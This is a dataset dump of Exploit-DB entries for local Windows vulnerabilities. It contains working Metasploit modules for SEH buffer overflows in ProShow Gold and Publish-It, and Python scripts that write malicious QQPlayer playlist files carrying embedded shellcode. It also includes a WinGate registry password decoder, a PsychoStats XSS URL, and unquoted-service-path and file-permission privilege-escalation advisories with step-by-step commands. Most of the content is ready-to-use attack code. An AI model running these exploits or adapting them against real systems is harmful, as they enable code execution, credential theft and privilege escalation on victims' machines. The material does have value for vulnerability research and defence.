deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16655
Description: ProShow Gold 4.0.2549 - '.psh' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: proshow_cellimage_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.
				An attacker must send the file to victim and the victim must open the file.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2009-3214' ],
					[ 'OSVDB', '57226' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/9483' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/9519' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					# 0x01a614ea # p/p/r @ all.dnt
					[ 'Windows Universal', { 'Offset' => 4036, 'Ret' => 0x101a4cf9 } ], # p/p/r if.dnt
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 20 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.psh']),
			], self.class)
	end

	def exploit

		sploit = make_nops(target['Offset'] - 4 - payload.encoded.length)
		sploit << payload.encoded
		sploit << generate_seh_record(target.ret)

		# note, just in case the arguments get modified, we'll jump back into our buffer...
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + target['Offset'].to_s).encode_string

		# cause exception hitting the end of the stack
		sploit << rand_text(1000) * 13

		content = "Photodex(R) ProShow(TM) Show File Version=0\r\n"
		content << "cells=1\r\n"
		content << "cell[0].nrOfImages=1\r\n"
		content << "cell[0].images[0].image=" << sploit << "\r\n"

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(content)

	end

end
Exploit-DB #47705
Description: ProShow Producer 9.0.3797 - ('ScsiAccess') Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-22
Author: ZwX

Exploit:
#Exploit Title: ProShow Producer 9.0.3797 - ('ScsiAccess') Unquoted Service Path
#Exploit Author : ZwX
#Exploit Date: 2019-11-21
#Vendor Homepage : http://www.photodex.com/
#Link Software : http://files.photodex.com/release/pspro_90_3797.exe
#Tested on OS: Windows 7


#Analyze PoC :
==============


C:\Users\ZwX>sc qc ScsiAccess
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ScsiAccess
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Photodex\ProShow Producer\ScsiAccess.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ScsiAccess
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #9680
Description: Protector Plus AntiVirus 8/9 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-09-15
Author: Maxim A. Kulakov

Exploit:
ShineShadow Security Report 15092009-09

TITLE

Local privilege escalation vulnerability in Protector Plus antivirus software

BACKGROUND

Protector Plus range of antivirus products are known the world over for
their efficiency and reliability. Protector Plus Antivirus Software is
available for Windows Vista, Windows XP, Windows Me, Windows 2000,
Windows 98, Windows 2000/2003/NT server and NetWare platforms. Protector
Plus Antivirus Software is the ideal antivirus protection for your
computer against all types of malware like viruses, trojans, worms and
spyware.

-- www.pspl.com

VULNERABLE PRODUCTS

Protector Plus 2009 for Windows Desktops (8.0.E03)
Protector Plus 2009 for Windows Server (8.0.E03)
Protector Plus Professional (9.1.001)

Previous versions may also be affected

DETAILS

Protector Plus installs the own program files with insecure permissions
(Everyone - Full Control). Local attacker (unprivileged user) can
replace some files (for example, executable files of Protector services)
by malicious file and execute arbitary code with SYSTEM privileges. This
is local privilege escalation vulnerability.
 
For example, the following attack scenario could be used:
1. An attacker (unprivileged user) renames one of the Protector program
files (below, the FILE). For example, the FILE could be - PPAVMON.exe
(Protector Plus Anti-virus Monitor Service).
2. An attacker copies his malicious executable file (with same name as
the old filename of the FILE - PPAVMON.exe) to Protector folder.
3. Restart the system.
After restart attackers malicious file will be executed with SYSTEM
privileges.

EXPLOITATION

This is local privilege escalation vulnerability. An attacker must have
valid logon credentials to a system where vulnerable software is
installed.

WORKAROUND

No workarounds

DISCLOSURE TIMELINE

31/08/2009 Initial vendor notification. Secure contacts requested.
01/09/2009 Vendor response 
03/09/2009 Vulnerability details sent. Confirmation requested. â€“ no reply
09/09/2009 Vulnerability details sent. Confirmation requested. â€“ no reply
11/09/2009 Last attempt to get reply from vendor. Vulnerability details sent. Confirmation requested. â€“ no reply
15/09/2009 Advisory released

CREDITS 

Maxim A. Kulakov (aka ShineShadow) 
ss_contacts[at]hotmail.com 

# milw0rm.com [2009-09-15]
Exploit-DB #50837
Description: ProtonVPN 1.26.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-03-23
Author: gemreda

Exploit:
# Exploit Title: ProtonVPN 1.26.0 - Unquoted Service Path
# Date: 22/03/2022
# Exploit Author: gemreda (@gemredax)
# Vendor Homepage: https://protonvpn.com/
# Software Link: https://protonvpn.com/
# Version: 1.26.0
# Tested: Windows 10 x64
# Contact: gemredax@pm.me

PS C:\Users\Emre> sc.exe qc "ProtonVPN Wireguard"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ProtonVPN Wireguard
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Proton Technologies\ProtonVPN\ProtonVPN.WireGuardService.exe C:\ProgramData\ProtonVPN\WireGuard\ProtonVPN.conf
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ProtonVPN WireGuard
        DEPENDENCIES       : Nsi
                           : TcpIp
        SERVICE_START_NAME : LocalSystem


#Exploit:

The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.
If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.
Exploit-DB #43817
Description: PsychoStats < 2.2.4 Beta - Cross Site Scripting
Type: local
Platform: windows
Date: 2014-12-22
Author: GulfTech Security

Exploit:
PsychoStats Cross Site Scripting

Vendor: Jason Morriss
Product: PsychoStats
Version: <= 2.2.4 Beta
Website: http://www.psychostats.com/

BID: 12089 
CVE: CVE-2004-1417 
OSVDB: 12560 
SECUNIA: 13619 
PACKETSTORM: 35502 

Description:
PsychoStats is a statistics generator for games. Currently there is support for a handful of Half-Life "MODs" including Counter-Strike, Day of Defeat, and Natural Selection. PsychoStats gathers statistics from the log files that game servers create by reading through the logs and then calculating detailed statistics for players, maps, weapons and clans. These detailed statistics are stored in a MySQL database which are then viewed online from your website using a set of PHP web pages. There are some complaints out there in the community that do not like the fact that PsychoStats does not provide 'real time' game statistics. The fact is, providing 'real time', accurate and detailed statistics is a hard issue to overcome. Some game statistic generators out there that provide 'real time' statistics simply do not have the same amount of detailed information that PsychoStats has. And they usually only provide very basic 'kill' statistics. Ignoring detailed 'map' and 'clan' statistics. PsychoStats may not be real time, but it works very close to it. As data is stored in a mysql database old logs that were scanned previously do not need to be scanned again, which makes for much faster updates then the old v1.x of PsychoStats. And the data provided by PsychoStats is very detailed. 


Cross Site Scripting:
Cross site scripting exists in Jason Morriss PsychoStats. This vulnerability exists due to user supplied input not being checked properly. Below is an example. 

http://www.example.com/stats/login.php?login=%22%3E%3Ciframe%3E 

This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser. 


Solution:
The vendor was contacted, responded very promptly and said he will be addressing the issue soon and has released an updated version of the software. 

http://www.psychostats.com/forums/viewtopic.php?t=11022 

You can find directions on how to install the patch at the link listed above. Users should upgrade as soon as they can. 


Credits:
James Bercegay of the GulfTech Security Research Team
Exploit-DB #50885
Description: PTPublisher v2.3.4 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-04-19
Author: bios

Exploit:
# Exploit Title: PTPublisher v2.3.4 - Unquoted Service Path
# Discovery by: bios
# Discovery Date: 2022-18-04
# Vendor Homepage: https://www.primera.com/
# Tested Version: 2.3.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
PTProtect
        PTProtect
C:\Program Files (x86)\Primera
Technology\PTPublisher\UsbFlashDongleService.exe
                      Auto

C:\>sc qc PTProtect
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: PTProtect
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\PrimeraTechnology\PTPublisher\UsbFlashDongleService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : PTProtect
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>systeminfo

Host Name:                 DESKTOP-OUHAB1I
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19044 N/A Build 19044
Exploit-DB #36437
Description: Publish-It - '.PUI' Local Buffer Overflow (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2015-03-19
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Publish-It PUI Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in Publish-It when
          processing a specially crafted .PUI file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of Publish-It to open a malicious .PUI file.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Daniel Kazimirow',  # Original discovery
          'Andrew Smith "jakx_"',  # Exploit and MSF Module
        ],
      'References'  =>
        [
          [ 'OSVDB', '102911' ],
          [ 'CVE', '2014-0980' ],
          [ 'EDB', '31461' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x0b\x0a",
          'DisableNops' => true,
          'Space' => 377
        },
      'Targets'    =>
        [
          [ 'Publish-It 3.6d',
            {
              'Ret'     =>  0x0046e95a, #p/p/r | Publish.EXE
              'Offset'  =>  1082
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Feb 5 2014',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)

  end

  def exploit

    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
    fd = File.open(path, "rb")
    template_data = fd.read(fd.stat.size)
    fd.close

    buffer = template_data
    buffer << make_nops(700)
    buffer << payload.encoded
    buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
    buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
    buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
    buffer << make_nops(2)
    buffer << [target.ret].pack("V")

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)

  end
end
Exploit-DB #19412
Description: Qbik WinGate 3.0 - Registry
Type: local
Platform: windows
Date: 1999-02-22
Author: Chris

Exploit:
// source: https://www.securityfocus.com/bid/511/info

WinGate stores encrypted passwords in the registry, in a subkey where Everyone has Read access by default. The encryption scheme is weak, and therefore anyone can get and decrypt them.

#include "stdafx.h"
#include <stdio.h>
#include <string.h>

main(int argc, char *argv[]) {
char i;

for(i = 0; i < strlen(argv[1]); i++)
putchar(argv[1][i]^(char)((i + 1) << 1));
return 0;

}
Exploit-DB #47594
Description: QNAP NetBak Replicator 4.5.6.0607 - 'QVssService' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-06
Author: Ivan Marmolejo

Exploit:
# Exploit Title: QNAP NetBak Replicator 4.5.6.0607 - 'QVssService' Unquoted Service Path
# Discovery Date: 2019-11-05
# Exploit Author: Ivan Marmolejo
# Vendor Homepage: https://www.qnap.com/en/ 
# Software Link: https://www.qnap.com/en/download
# Version: 4.5.6.0607
# Vulnerability Type: Local
# Tested on: Windows XP Profesional Español SP3

#Exploit
##############################################################################################################################################

Summary:  QNAP NetBak Replicator provides several options for copying files from your Windows computer to your NAS. By simplifying the backup 
process, NetBak Replicator helps ensure that your files are safe even when your computer becomes unavailable.

Description:    The application suffers from an unquoted search path issue impacting the service 'QVssService'. This could potentially allow an 
authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
of the application.

##############################################################################################################################################

Step to discover the unquoted Service:

 
C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """


QNAP Vss Service            QVssService               C:\Archivos de programa\QNAP\NetBak\QVssService.exe 		                 Auto


##############################################################################################################################################

Service info:


C:\Users\user>sc qc QVssService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: QVssService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Archivos de programa\QNAP\NetBak\QVssService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : QNAP Vss Service
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

##############################################################################################################################################
Exploit-DB #49645
Description: QNAP QVR Client 5.0.0.13230 - 'QVRService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-15
Author: Luis Martínez

Exploit:
# Exploit Title: QNAP QVR Client 5.0.0.13230 - 'QVRService' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2021-03-14
# Vendor Homepage: https://www.qnap.com
# Tested Version: 5.0.0.13230
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "QVR" | findstr /i /v """

QVRService	QVRService	C:\Program Files (x86)\QNAP\QVR\QVRService.exe	Auto


# Service info:

C:\>sc qc "QVRService"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: QVRService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\QNAP\QVR\QVRService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : QVRService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #14428
Description: QQPlayer - '.asx' File Processing Buffer Overflow
Type: local
Platform: windows
Date: 2010-07-21
Author: Li Qingshan

Exploit:
#################################################################
#
# Title: QQPlayer asx File Processing Buffer Overflow Exploit
# Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Test: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1
# Payload = calc
#
#################################################################
# Code :

head ='''<ASX version="3.0">
<Entry>
<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_'''
junk = "A" * 1975  #English XP SP3 users, try 1984 bytes instead
nseh ="\x42\x61\x21\x61"
seh  ="\xa9\x9e\x41\x00"
adjust="\x30\x83\xc0\x0c"
shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV"
           "QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL"
           "KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9"
           "QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW"
           "TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R"
           "HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA")
junk_="R"*8000
foot ='''_playlis.wma"/>
</Entry>
</ASX>'''
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.asx","w")
fobj.write(payload)
fobj.close()
Exploit-DB #14431
Description: QQPlayer - '.cue' File Buffer Overflow
Type: local
Platform: windows
Date: 2010-07-21
Author: Lufeng Li

Exploit:
#!/usr/bin/env python

#################################################################
#
# Title: QQPlayer cue File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1
#
#################################################################
# Code :

head = '''FILE "'''
junk = "A" * 780
nseh ="\x42\x61\x21\x61"
seh  ="\xa9\x9e\x41\x00"
adjust="\x32\x42\x61\x33\xca\x83\xc0\x10"
shellcode=("hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o"
           "0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41"
           "H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK"
           "NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01")
junk_="R"*8000
foot ='''.avi" VIDEO'''+"\x0a"'''TRACK 02 MODE1/8888'''+"\x0a"+"INDEX 08 08:08:08"
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.cue","w")
fobj.write(payload)
fobj.close()
Exploit-DB #14482
Description: QQPlayer 2.3.696.400p1 - '.smi' File Buffer Overflow
Type: local
Platform: windows
Date: 2010-07-27
Author: Lufeng Li

Exploit:
#!/usr/bin/env python

#################################################################
#
# Title: QQPlayer smi File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400p1
# Vulnerable: QQPlayer<=2.3.696.400p1
# Exploit-DB Notes: A different SEH addr might be necessary for XP SP3 ENG.
#            Make sure EAX aligns to the shellcode before decoding.
# Payload=calc.exe
#
#################################################################
# Code :

head ='''<smil>
 <head>
  <meta name="title" content="_"/>
  <meta name="author" content="Warner Music Group'''

junk = "A" * 2001
nseh ="\x42\x61\x21\x61"
seh  ="\x39\x0c\x41\x00"
adjust="\x30\x83\xc0\x0b"
shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV"
           "QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL"
           "KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9"
           "QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW"
           "TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R"
           "HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA")
junk_="R"*8000
foot ='''"/>
 </head>
 <body>
   <seq>
    <video src="rtsp://sos08-1-rm.eams.net/lis/424444/.uid.M0001" title="_"fill="freeze"/>
  </seq>
 </body>
</smil>
<!-- Generated by Akamai Stream OS BOSS (v10.0.14-20100129) / d366992c -->'''
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.smi","w")
fobj.write(payload)
fobj.close()